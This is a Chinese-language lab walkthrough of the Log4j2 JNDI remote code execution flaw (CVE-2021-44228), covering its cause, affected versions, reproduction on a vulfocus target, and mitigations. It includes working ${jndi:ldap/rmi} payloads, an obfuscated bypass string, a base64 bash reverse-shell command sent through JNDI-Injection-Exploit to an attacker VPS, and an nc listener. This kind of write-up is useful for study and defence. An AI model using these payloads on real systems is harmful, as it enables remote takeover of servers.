Apache Log4j 2远程代码执行漏洞( CVE-2021-44228)
漏洞描述
Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具
。该工具重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
log4j2中存在JNDI注入漏洞
,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码
。
漏洞原理
攻击者可以通过 log4j 的 lookup 替换功能向其配置文件的任意位置注入代码(类似 SQL 注入,把 变量替换为{实际代码}),再加上这些版本中用到的 JNDI 特性并没有为 LDAP 提供足够的保护,使得注入的任意代码都能被执行。
先说下利用exp:jndi:rmi://127.0.0.1:1099/exp(rmi/ldap,两者部分功能类似,但也有不同点)再直白点来说就是用户提交的{jndi:rmi://127.0.0.1:1099/exp} ,被日志捕获到,然后如果log4j2 又开启了 Jndi Lookup功能,就能解析用户提交的exp,发送rmi请求,远程调用一些反序类化的方法。
1 | JNDI:Java 命名与目录接口,提供了用名称来访问资源的能力 |
影响范围
- Apache Log4j 2.x < 2.15.0-rc2
- 供应链影响范围
1 | Spring-Boot-strater-log4j2 |
漏洞复现
漏洞环境:vulfocus(http://vulfocus.fofa.so/#/dashboard
vulfocus.fofa.so:44873
漏洞验证
打开http://www.dnslog.cn/ get subdomain
输入payload
1 | payload=${jndi:ldap://ip/exp} |
返回dnslog,refresh一下,可以看到记录,说明,请求了该域名,证明漏洞可能存在(极大几率)
反弹shell
需要jndi注入工具构造反弹shell命令
1 | $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEwMDE1IDA+JjE= 是反弹shell的base64加密 只需要修改成反弹到vps的ip端口
-A “1.1.1.1” 1.1.1.1换成自己vps的ip
在vps上启动 JNDI-Injection-Exploit,这里生成的有 JNDI链接,一会使用最后 JNDI链接,其他的没有成功 (确保 1099、1389、8180端口可用,不被其他程序占用)
再开个框,对我们反弹shell的端口进行监听
1 | nc -lvnp 10015 |
payload=jndi:ldap://ip/exp修改为payload={jndi:rmi://106.xx.xx.xx:1099/jwbmm8} (ldap://ip/exp替换成生成的 JNDI链接,上面生成的有)
复现时间超时,靶场端口变了,不影响
成功反弹shell
找到flag
注意:vps对应端口一定要开放,
修复
补丁之前
- 可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。
- 关闭
lookup
功能,即:设置 JVM 启动参数 -Dlog4j2.formatMsgNoLookups=true
更新到rce1
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。
但不久就被绕过了,经过测试发现URI
中不进行URL
编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}
(需要用户开启lookup
功能的基础上才可以)
1 | ${${::-j}ndi:rmi://ip:port/exp} |
更新到rce2
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
貌似又被绕过了
下次分析下fastjson反序列化漏洞原理,和这个漏洞类似